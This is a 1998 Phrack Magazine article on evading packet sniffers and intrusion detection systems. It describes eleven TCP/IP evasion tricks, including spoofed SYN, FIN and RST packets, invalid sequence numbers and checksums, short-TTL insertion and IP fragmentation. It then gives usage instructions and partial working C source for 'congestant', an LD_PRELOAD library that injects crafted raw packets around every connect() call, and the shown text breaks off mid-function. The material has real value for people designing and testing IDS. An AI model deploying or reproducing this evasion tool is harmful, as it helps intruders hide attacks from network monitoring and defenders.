phrack/issue54/10.txt

---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12


-------------------------[  Defeating Sniffers and Intrusion Detection Systems


--------[  horizon <jmcdonal@unf.edu>


----[  Overview

The purpose of this article is to demonstrate some techniques that can be used
to defeat sniffers and intrusion detection systems.  This article focuses
mainly on confusing your average "hacker" sniffer, with some rough coverage of
Intrusion Detection Systems (IDS).  However, the methods and code present in
this article should be a good starting point for getting your packets past ID
systems.  For an intense examination of attack techniques against IDS, check
out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp.

There are a large number of effective techniques other than those that are
implemented in this article.  I have chosen a few generic techniques that
hopefully can be easily expanded into more targeted and complex attacks.  After
implementing these attacks, I have gone through and attempted to correlate
them to the attacks described in the NAI paper, where appropriate.

The root cause of the flaws discussed in this article is that most sniffers
and intrusion detection systems do not have as robust of a TCP/IP
implementation as the machines that are actually communicating on the network.
Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI,
or SOCK_PACKET.  The sniffer receives the entire datalink level frame, and
gets no contextual clues from the kernel as to how that frame will be
interpreted.  Thus, the sniffer has the job of interpreting the entire packet
and guessing how the kernel of the receiving machine is going to process it.
Luckily, 95% of the time, the packet is going to be sane, and the kernel
TCP/IP stack is going to behave rather predictably.  It is the other 5% of the
time that we will be focusing on.

This article is divided into three sections: an overview of the techniques
employed, a description of the implementation and usage, and the code.  Where
possible, the code has been implemented in a somewhat portable format: a
shared library that wraps around connect(), which you can use LD_PRELOAD to
"install" into your normal client programs.  This shared library uses raw
sockets to create TCP packets, which should work on most unixes. However, some
of the attacks described are too complex to implement with raw sockets, so
simple OpenBSD kernel patches are supplied.  I am working on complementary
kernel patches for Linux, which will be placed on the rhino9 web site when
they are complete.  The rhino9 web site is at: http://www.rhino9.ml.org/ 


----[  Section 1. The Tricks

The first set of tricks are solely designed to fool most sniffers, and will
most likely have no effect on a decent ID system.  The second set of tricks
should be advanced enough to start to have an impact on the effectiveness of
an intrusion detection system.

Sniffer Specific Attacks
------------------------

1. Sniffer Design - One Host Design

The first technique is extremely simple, and takes advantage of the design of
many sniffers.  Several hacker sniffers are designed to follow one connection,
and ignore everything else until that connection is closed or reaches some
internal time out.  Sniffers designed in this fashion have a very low profile,
as far as memory usage and CPU time.  However, they obviously miss a great deal
of the data that can be obtained.  This gives us an easy way of preventing our
packets from being captured: before our connection, we send a spoofed SYN
packet from a non-existent host to the same port that we are attempting to
connect to.  Thus, the sniffer sees the SYN packet, and if it is listening, it
will set up its internal state to monitor all packets related to that
connection.  Then, when we make our connection, the sniffer ignores our SYN
because it is watching the fake host.  When the host later times out, our
connection will not be logged because our initial SYN packet has long been
sent.


2. Sniffer Design - IP options

The next technique depends on uninformed coding practices within sniffers.
If you look at the code for some of the hacker sniffers, namely ones based-off
of the original linsniffer, you will see that they have a structure that looks
like this:

struct etherpacket
{
    etherheader eh;
    ipheader ip;
    tcpheader tcp;
    char data[8192];
};

The sniffer will read a packet off of the datalink interface, and then slam it
into that structure so it can analyze it easily.  This should work fine most
of the time.  However, this approach makes a lot of assumptions: it assumes
that the size of the IP header is 20 bytes, and it also assumes that the size
of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of
options, then the sniffer is going to look inside your IP options for the TCP
header, and completely misinterpret your packet.  If the sniffer handles your
IP header correctly, but incorrectly handles the TCP header, that doesn't buy
you quite as much.  In that situation, you get an extra 40 bytes of data that
the sniffer will log. I have implemented mandatory IP options in the OpenBSD
kernel such that it is manageable by a sysctl.


3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers

This technique takes advantage of the fact that your typical sniffer is not
going to keep track of the specific details of the ongoing connection.  In a
TCP connection, sequence numbers are used as a control mechanism for
determining how much data has been sent, and the correct order for the data
that has been sent.  Most sniffers do not keep track of the sequence numbers
in an ongoing TCP connection.  This allows us to insert packets into the data
stream that the kernel will disregard, but the sniffer will interpret as valid.
The first technique we will use based on this is spoofing FIN and RST packets.
FIN and RST are control flags inside the TCP packets, a FIN indicating the
initiation of a shutdown sequence for one side of a connection, and an RST
indicating that a connection should be immediately torn down. If we send a
packet with a FIN or RST, with a sequence number that is far off of the current
sequence number expected by the kernel, then the kernel will disregard it.
However, the sniffer will likely regard this as a legitimate connection close
request or connection reset, and cease logging.

It is interesting to note that certain implementations of TCP stacks do not
check the sequence numbers properly upon receipt of an RST.  This obviously
provides a large potential for a denial of service attack.  Specifically, I
have noticed that Digital Unix 4.0d will tear down connections without
checking the sequence numbers on RST packets.


4. Insertion - Data Spoofing - Invalid Sequence Numbers

This technique is a variation of the previous technique, which takes advantage
of the fact that a typical sniffer will not follow the sequence numbers of a
TCP connection.  A lot of sniffers have a certain data capture length, such
that they will stop logging a connection after that amount of data has been
captured.  If we send a large amount of data after the connection initiation,
with completely wrong sequence numbers, our packets will be dropped by the
kernel.  However, the sniffer will potentially log all of that data as valid
information.  This is roughly an implementation of the "tcp-7" attack mentioned
in the NAI paper.


IDS / Sniffer Attacks:
---------------------

The above techniques work suprisingly well for most sniffers, but they are not
going to have much of an impact on most IDS.  The next six techniques are a
bit more complicated, but represent good starting points for getting past the
more complex network monitors. 


5. Evasion - IP Fragmentation

IP fragmentation allows packets to be split over multiple datagrams in order
to fit packets within the maximum transmission unit of the physical network
interface.  Typically, TCP is aware of the mtu, and doesn't send packets that
need to be fragmented at an IP level.  We can use this to our advantage to try
to confuse sniffers and IDS.  There are several potential attacks involving
fragmentation, but we will only cover a simple one.  We can send a TCP packet
split over several IP datagrams such that the first 8 bytes of the TCP header
are in a single packet, and the rest of the data is sent in 32 byte packets.
This actually buys us a lot in our ability to fool a network analysis tool.
First of all, the sniffer/IDS will have to be capable of doing fragment
reassembly.  Second of all, it will have to be capable of dealing with
fragmented TCP headers.  It turns out that this simple technique is more than
sufficient to get your packets past most datalink level network monitors.
This an another attack that I chose to implement as a sysctl in the OpenBSD
kernel.

This technique is very powerful in it's ability to get past most sniffers
completely.  However, it requires some experimentation because you have to
make sure that your packets will get past all of the filters between you and
the target.  Certain packet filters wisely drop fragmented packets that look
like they are going to rewrite the UDP/TCP header, or that look like they are
unduly small.  The implementation in this article provides a decent deal of
control over the size of the fragments that your machine will output.  This
will allow you to implement the "frag-1" and "frag-2" attacks described in the
NAI paper.


6. Desynchronization - Post Connection SYN

If we are attempting to fool an intelligent sniffer, or an ID system, then we
can be pretty certain that it will keep track of the TCP sequence numbers.  For
this technique, we will attempt to desynchronize the sniffer/IDS from the
actual sequence numbers that the kernel is honoring.  We will implement this
attack by sending a post connection SYN packet in our data stream, which will
have divergent sequence numbers, but otherwise meet all of the necessary
criteria to be accepted by our target host.  However, the target host will
ignore this SYN packet, because it references an already established
connection.  The intent of this attack is to get the sniffer/IDS to
resynchronize its notion of the sequence numbers to the new SYN packet.  It
will then ignore any data that is a legitimate part of the original stream,
because it will be awaiting a different sequence number.  If we succeed in
resynchronizing the IDS with a SYN packet, we can then send an RST packet with
the new sequence number and close down its notion of the connection.  This
roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.


7. Desynchronization - Pre Connection SYN

Another attack we perform which is along this theme is to send an initial SYN
before the real connection, with an invalid TCP checksum.  If the sniffer is
smart enough to ignore subsequent SYNs in a connection, but not smart enough
to check the TCP checksum, then this attack will synchronize the sniffer/IDS
to a bogus sequence number before the real connection occurs.  This attack
calls bind to get the kernel to assign a local port to the socket before
calling connect.


8. Insertion - FIN and RST Spoofing - TCP checksum validation

This technique is a variation of the FIN/RST spoofing technique mentioned
above.  However, this time we will attempt to send FIN and RST packets that
should legitimately close the connection, with one notable exception: the TCP
checksum will be invalid.  These packets will be immediately dropped by the
kernel, but potentially honored by the IDS/sniffer.  This attack requires
kernel support in order to determine the correct sequence numbers to use on
the packet.  This is similar to the "insert-2" attack in the NAI paper.


9. Insertion - Invalid Data - TCP checksum validation 

This technique is a variation of the previous data insertion attack, with the
exception that we will be inserting data with the correct sequence numbers,
but incorrect TCP checksums.  This will serve to confuse and desynchronize
sniffers and ID by feeding it a lot of data that will not be honored by the
participating kernels.  This attack requires kernel support to get the correct
sequence numbers for the outgoing packets.  This attack is also similar to the
"insert-2" attack described in the NAI paper.


10. Insertion - FIN and RST Spoofing - Short TTL

If the IDS or sniffer is sitting on the network such that it is one or more
hops away from the host it is monitoring, then we can do a simple attack,
utilizing the TTL field of the IP packet.  For this attack, we determine the
lowest TTL that can be used to reach the target host, and then subtract one.
This allows us to send packets that will not reach the target host, but that
have the potential of reaching the IDS or sniffer. In this attack, we send a
couple of FIN packets, and a couple of RST packets.


11. Insertion - Data Spoofing - Short TTL

For our final attack, we will send 8k of data with the correct sequence
numbers and TCP checksums. However, the TTL will be one hop too short to reach
our target host. 

Summary
-------

All of these attacks work in concert to confuse sniffers and IDS.  Here is a
breakdown of the order in which we perform them:

Attack 1 - One Host Sniffer Design.
  FAKEHOST -> TARGET SYN 
Attack 7 - Pre-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
Kernel Activity
  REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
Attack 6 - Post-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Arbitrary Seq Number X)
  REALHOST -> TARGET SYN (Seq Number X+1)
Attack 4 - Data Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET FIN (Seq Number X+2+8192)
  REALHOST -> TARGET FIN (Seq Number X+3+8192)
  REALHOST -> TARGET RST (Seq Number X+4+8192)
  REALHOST -> TARGET RST (Seq Number X+5+8192)
Attack 11 - Data Spoofing - TTL 
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
Attack 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
Attack 9 - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
Attack 8 - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)

The attacks with an asterisk require kernel support to determine the correct
sequence numbers.  Arguably, this could be done without kernel support,
utilizing a datalink level sniffer, but it would make the code significantly
more complex, because it would have to reassemble fragments, and do several
validation checks in order to follow the real connection.  The user can choose 
which of these attacks he/she would like to perform, and the sequence numbers
will adjust themselves accordingly.


----[  Section 2 - Implementation and Usage

My primary goal when implementing these techniques was to keep the changes
necessary to normal system usage as slight as possible.  I had to divide the
techniques into two categories: attacks that can be performed from user
context, and attacks that have to be augmented by the kernel in some fashion.
My secondary goal was to make the userland set of attacks reasonably portable
to other Unix environments, besides OpenBSD and Linux. 

The userland attacks are implemented using shared library redirection, an
extremely useful technique borrowed from halflife's P51-08 article.  The first
program listed below, congestant.c, is a shared library that the user requests
the loader to link first.  This is done with the LD_PRELOAD environment
variable on several unixes.  For more information about this technique, refer
to the original article by halflife. 

The shared library defines the connect symbol, thus pre-empting the normal
connect function from libc (or libsocket) during the loading phase of program
execution.  Thus, you should be able to use these techniques with most any
client program that utilizes normal BSD socket functionality.  OpenBSD does
not let us do shared library redirection (when you attempt to dlsym the old
symbol out of libc, it gives you a pointer to the function you had pre-loaded).
However, this is not a problem because we can just call the connect() syscall
directly.

This shared library has some definite drawbacks, but you get what you pay for.
It will not work correctly with programs that do non-blocking connect calls,
or RAW or datalink level access.  Furthermore, it is designed for use on TCP
sockets, and without kernel support to determine the type of a socket, it will
attempt the TCP attacks on UDP connections.  This support is currently only
implemented under OpenBSD.  However, this isn't that big of a drawback because
it just sends a few packets that get ignored.  Another drawback to the shared
library is that it picks a sequence number out of the blue to represent the
"wrong" sequence number.  Due to this fact, there is a very small possibility
that the shared library will pick a legitimate sequence number, and not
desynchronize the stream.  This, however, is extremely unlikely.

A Makefile accompanies the shared library.  Edit it to fit your host, and then
go into the source file and make it point to your copy of libc.so, and you
should be ready to go.  The code has been tested on OpenBSD 2.3, 2.4, Debian
Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6.
You can use the library like this:

# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com

The library will "wrap" around any connects in the programs you run from that
point on, and provide you some protection behind the scenes.  You can control
the program by defining the CONGCONF environment variable.  You give it a
comma delimited list of attacks, which break out like this:

DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
RT: Spoof RST packets with short TTLs. (needs kernel support)

Kernel Support
--------------

OpenBSD kernel patches are provided to facilitate several of the techniques
described above.  These patches have been made against the 2.4 source
distribution. I have added three sysctl variables to the kernel, and one new
system call.  The three sysctl variables are:

net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack  (integer)

The new system call is getsockinfo(), and it is system call number 242.

The three sysctl's can be used to modify the characteristics of every outgoing
IP packet coming from the machine.  The fraghackhead variable specifies a new
mtu, in bytes, for outgoing IP datagrams.  fraghackhead is applied to every
outgoing datagram, unless fraghackbody is also defined.  In that case, the mtu
for the first fragment of a packet is read from fraghackhead, and the mtu for
every consecutive fragment is read from fraghackbody.  This allows you to
force your machine into fragmenting all of its traffic, to any size that you
specify.  The reason it is divided into two variables is so that you can have
the first fragment contain the entire TCP/UDP header, and have the following
fragments be 8 or 16 bytes.  This way, you can get your fragmented packets past
certain filtering routers that block any sort of potential header rewriting.
The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP
options on every outgoing packet. 

I implemented these controls such that they do not have any effect on packets
sent through raw sockets.  The implication of this is that our attacking
packets will not be fragmented or contain IP options.

Using these sysctl's is pretty simple: for the fraghack variables, you specify
a number of bytes (or 0 to turn them off), and for the optionshack, you either
set it to 0 or 1. Here is an example use:

# sysctl -w net.inet.ip.optionshack=1    # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80  # 20 + 40 + 20 = full protocol header 
# sysctl -w net.inet.ip.fraghackbody=68  # 20 + 40 + 8 = smallest possible frag

It is very important to note that you should be careful with the fraghack
options.  When you specify extreme fragmentation, you quickly eat up the
memory that the kernel has available for storing packet headers.  If memory
usage is too high, you will notice sendto() returning a no buffer space error.
If you stick to programs like telnet or ssh, that use small packets, then you 
should be fine with 28 or 28/36. However, if you use programs that use large 
packets like ftp or rcp, then you should bump fraghackbody up to a higher 
number, such as 200.

The system call, getsockinfo, is needed by the userland program to determine if
a socket is a TCP socket, and to query the kernel for the next sequence number
that it expects to send on the next outgoing packet, as well as the next
sequence number it expects to receive from it's peer.  This allows the
userland program to implement attacks based on having a correct sequence
number, but some other flaw in the packet such as a short TTL or bad TCP
checksum.


Kernel Patch Installation
-------------------------

Here are the steps I use to install the kernel patches.

Disclaimer: I am not an experienced kernel programmer, so don't be too upset
if your box gets a little flaky.  The testing I've done on my own machines has
gone well, but be aware that you really are screwing with critical stuff by
installing these patches. You may suffer performance hits, or other such
unpleasentries.  But hey, you can't have any fun if you don't take any risks. :>

Step 1. Apply the netinet.patch to /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
Step 4. Apply kern.patch to /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Apply sys.patch to /usr/src/sys/sys/
Step 7. cd into your kernel build directory
	(/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. 
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>


----[  The Code
<++> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT

# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=

# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42 

congestant.so: congestant.o
	ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c
	gcc ${OPTS} -fPIC -c congestant.c

clean: 
	rm -f congestant.o congestant.so
<-->
<++> congestant/congestant.c
/* 
 * congestant.c - demonstration of sniffer/ID defeating techniques 
 *
 * by horizon <jmcdonal@unf.edu>
 * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
 *
 * openbsd doesn't let us do shared lib redirection, so we implement the
 * connect system call directly. Also, the kernel support for certain attacks
 * is only implemented in openbsd. When I finish the linux support, it will
 * be available at http://www.rhino9.ml.org
 *
 * This whole thing is a conditionally compiling nightmare. :>
 * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
 * Solaris 2.6, Debian Linux, and the glibc Debian Linux 
 */

/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so"  */

/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#if __linux__
#include <endian.h>
#endif
#include <errno.h>

struct cong_config
{
	int one_host_attack;
	int fin_seq;
	int rst_seq;
	int syn_seq;
	int data_seq;	
	int data_chk;	
	int fin_chk;
	int rst_chk;
	int syn_chk;
	int data_ttl;	
	int fin_ttl;
	int rst_ttl;
	int ttl;
} cong_config;

int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;

/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */

#ifndef __OpenBSD__

#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else 
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif 

#endif /* not openbsd */

#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));

/* define our own headers so its easier to port. use cong_ to avoid any 
 * potential symbol name collisions */

struct cong_ip_header
{
	unsigned char  ip_hl:4,         /* header length */
		ip_v:4;               /* version */
	unsigned char  ip_tos;          /* type of service */
	unsigned short ip_len;          /* total length */
	unsigned short ip_id;           /* identification */
	unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
	unsigned char  ip_ttl;          /* time to live */
	unsigned char  ip_p;                    /* protocol */
	unsigned short ip_sum;          /* checksum */
	unsigned long ip_src, ip_dst; /* source and dest address */
};

struct cong_icmp_header /* this is really an echo */
{
   unsigned char icmp_type;
   unsigned char icmp_code;
   unsigned short icmp_checksum;
   unsigned short icmp_id;
   unsigned short icmp_seq;
   unsigned long icmp_timestamp;
};

struct cong_tcp_header 
{
   unsigned short  th_sport;      /* source port */
   unsigned short  th_dport;      /* destination port */
   unsigned int  th_seq;        /* sequence number */
   unsigned int  th_ack;        /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
   unsigned char   th_x2:4,    /* (unused) */
      th_off:4;      /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
   unsigned char   th_off:4,      /* data offset */
      th_x2:4;    /* (unused) */
#endif
   unsigned char   th_flags;
#define  TH_FIN   0x01
#define  TH_SYN   0x02
#define  TH_RST   0x04
#define  TH_PUSH  0x08
#define  TH_ACK   0x10
#define  TH_URG   0x20
   unsigned short  th_win;        /* window */
   unsigned short  th_sum;        /* checksum */
   unsigned short  th_urp;        /* urgent pointer */
};

struct cong_pseudo_header
{  
	unsigned long saddr, daddr;
	char mbz;
	char ptcl;
	unsigned short tcpl;
};

int cong_checksum(unsigned short* data, int length)
{
	register int nleft=length;
	register unsigned short *w = data;
	register int sum=0;
	unsigned short answer=0;

	while (nleft>1)
	{
		sum+=*w++;
		nleft-=2;
	}

	if (nleft==1)
	{
		*(unsigned char *)(&answer) = *(unsigned char *)w;
		sum+=answer;
	}

	sum=(sum>>16) + (sum & 0xffff);
	sum +=(sum>>16);
	answer=~sum;

        return answer;
}

#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */

void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
	struct sockaddr_in sa;
	int sock,packet_len;
	char *pkt;
	struct cong_ip_header *ip;
	struct cong_icmp_header *icmp;

	int on=1;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
		perror("socket");
		exit(1);
	}

	if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) 
	{
		perror("setsockopt: IP_HDRINCL");
		exit(1);
	}

	bzero(&sa,sizeof(struct sockaddr_in));
        sa.sin_addr.s_addr = dest;
        sa.sin_family = AF_INET;

	pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));

	ip=(struct cong_ip_header *)pkt;
	icmp=(struct cong_icmp_header *)(pkt+IHLEN);
	
	ip->ip_v = 4;
	ip->ip_hl = IHLEN >>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(IHLEN+ICMPLEN);
	ip->ip_id = htons(getpid() & 0xFFFF);
	ip->ip_off = 0;
	ip->ip_ttl = ttl;
	ip->ip_p = IPPROTO_ICMP ;//ICMP
	ip->ip_sum = 0;
	ip->ip_src = source;
	ip->ip_dst = dest;
	icmp->icmp_type=8;
	icmp->icmp_seq=htons(seq);
	icmp->icmp_id=htons(id);
	icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);

	if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
	}

	free(pkt);
	close(sock);
}

/* Our main worker routine. sends a TCP packet */

void cong_send_tcp(long source, long dest,short int sport, short int dport,
 		long seq, long ack, int flags, char *data, int dlen, 
			int cksum, int ttl)
{
	struct sockaddr_in sa;
	int sock,packet_len;
	char *pkt,*phtcp;
	struct cong_pseudo_header *ph;
	struct cong_ip_header *ip;
	struct cong_tcp_header *tcp;

	int on=1;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
		perror("socket");
		exit(1);
	}

	if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) 
	{
		perror("setsockopt: IP_HDRINCL");
		exit(1);
	}

	bzero(&sa,sizeof(struct sockaddr_in));
        sa.sin_addr.s_addr = dest;
        sa.sin_family = AF_INET;
	sa.sin_port = dport;

	phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen));
	pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

	ph=(struct cong_pseudo_header *)phtcp;
	tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN);
	ip=(struct cong_ip_header *)pkt;
	
	ph->saddr=source;
	ph->daddr=dest;
	ph->mbz=0;
	ph->ptcl=IPPROTO_TCP;
	ph->tcpl=htons(THLEN + dlen);

	tcp->th_sport=sport;
	tcp->th_dport=dport;
	tcp->th_seq=seq;
	tcp->th_ack=ack;
	tcp->th_off=THLEN/4;
	tcp->th_flags=flags;
	if (ack) tcp->th_flags|=TH_ACK;
	tcp->th_win=htons(16384);
	memcpy(&(phtcp[PHLEN+THLEN]),data,dlen);
	tcp->th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;
                            
	ip->ip_v = 4;
	ip->ip_hl = IHLEN >>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(IHLEN+THLEN+dlen);
	ip->ip_id = htons(getpid() & 0xFFFF);
	ip->ip_off = 0;
	ip->ip_ttl = ttl;
	ip->ip_p = IPPROTO_TCP ;//TCP
	ip->ip_sum = 0;
	ip->ip_src = source;
	ip->ip_dst = dest;
	ip->ip_sum = cong_checksum((unsigned short*)ip,IHLEN);

	memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);

	if(sendto(sock,pkt,IHLEN+THLEN+dlen,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
	}

	free(phtcp);
	free(pkt);
	close(sock);
}

/* Utility routine for data insertion attacks */

void cong_send_data(long source, long dest,short int sport, short int dport,
			long seq, long ack, int chk, int ttl)
{
	char data[1024];
	int i,j;

	for (i=0;i<8;i++)
	{
		for (j=0;j<1024;data[j++]=random());

		cong_send_tcp(source, dest, sport, dport, htonl(seq+i*1024), 
			htonl(ack), TH_PUSH, data, 1024, chk, ttl);
	}
}

/* Utility routine for the ttl attack  - potentially unreliable */
/* This could be rewritten to look for the icmp ttl exceeded and count
 * the number of packets it receives, thus going much quicker. */

int cong_find_ttl(long source, long dest)
{
	int sock;
	long timestamp;	
	struct timeval tv,tvwait;
	int ttl=0,result=255;
	char buffer[8192];
	int bread;
	fd_set fds;
	struct cong_ip_header *ip;
	struct cong_icmp_header *icmp;

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
	{
		perror("socket");
		exit(1);
	}
	tvwait.tv_sec=0;
	tvwait.tv_usec=500;

	gettimeofday(&tv,NULL);
	timestamp=tv.tv_sec+3; // 3 second timeout
	
	DEBUG("Determining ttl...");

	while(tv.tv_sec<=timestamp)
	{
		gettimeofday(&tv,NULL);
		if (ttl<50)
		{
			cong_send_icmp(source,dest,ttl,1,ttl);
			cong_send_icmp(source,dest,ttl,1,ttl);
			cong_send_icmp(source,dest,ttl,1,ttl++);
		}	
		FD_ZERO(&fds);
		FD_SET(sock,&fds);
		select(sock+1,&fds,NULL,NULL,&tvwait);
		if (FD_ISSET(sock,&fds))
		{
			if (bread=read(sock,buffer,sizeof(buffer)))
			{
				/* should we practice what we preach? 
					nah...  too much effort :p */

				ip=(struct cong_ip_header *)buffer;
				if (ip->ip_src!=dest)
					continue;
				icmp=(struct cong_icmp_header *)(buffer +
					 ((ip->ip_hl)<<2));
				if (icmp->icmp_type!=0)
					continue;
				if (ntohs(icmp->icmp_seq)<result)
					result=ntohs(icmp->icmp_seq);
			}
		}
	}
	if (cong_debug)
		fprintf(stderr,"%d\n",result);

	close(sock);
	return result;
}

/* This is our init routine - reads conf env var*/

/* On the glibc box I tested, you cant dlopen from within
 * _init, so there is a little hack here */

#if __GLIBC__ == 2
int cong_start(void)
#else
int _init(void)
#endif
{
	void *handle;
	char *conf;

#ifndef __OpenBSD__
	handle=dlopen(LIB_PATH,1);
	if (!handle)
	{
		fprintf(stderr,"Congestant Error: Can't load libc.\n");
		return 0;
	}

#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
	cong_connect = dlsym(handle, "connect");
#else
	cong_connect = dlsym(handle, "_connect");
#endif

	if (!cong_connect)
	{
		fprintf(stderr,"Congestant Error: Can't find connect().\n");
		return -1;
	}
#endif	/* not openbsd */

	memset(&cong_config,0,sizeof(struct cong_config));

	if (conf=getenv("CONGCONF"))
	{
		char *token;
		token=strtok(conf,",");
		while (token)
		{
			if (!strcmp(token,"OH"))
				cong_config.one_host_attack=1;
			else if (!strcmp(token,"FS"))
				cong_config.fin_seq=1;
			else if (!strcmp(token,"RS"))
				cong_config.rst_seq=1;
			else if (!strcmp(token,"SS"))
				cong_config.syn_seq=1;
			else if (!strcmp(token,"DS"))
				cong_config.data_seq=1;
			else if (!strcmp(token,"FC"))
				cong_config.fin_chk=1;
			else if (!strcmp(token,"RC"))
				cong_config.rst_chk=1;
			else if (!strcmp(token,"SC"))
				cong_config.syn_chk=1;
			else if (!strcmp(token,"DC"))
				cong_config.data_chk=1;
			else if (!strcmp(token,"FT"))
			{
				cong_config.fin_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"RT"))
			{
				cong_config.rst_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DT"))
			{
				cong_config.data_ttl=1;
				cong_config.ttl=1;
			}
			else if (!strcmp(token,"DEBUG"))
				cong_debug=1;

			token=strtok(NULL,",");	
		}
	}
	else		/* default to full sneakiness */
	{
		cong_config.one_host_attack=1;
		cong_config.fin_seq=1;
		cong_config.rst_seq=1;
		cong_config.syn_seq=1;
		cong_config.data_seq=1;
		cong_config.syn_chk=1;
		cong_debug=1;
			/* assume they have kernel support */
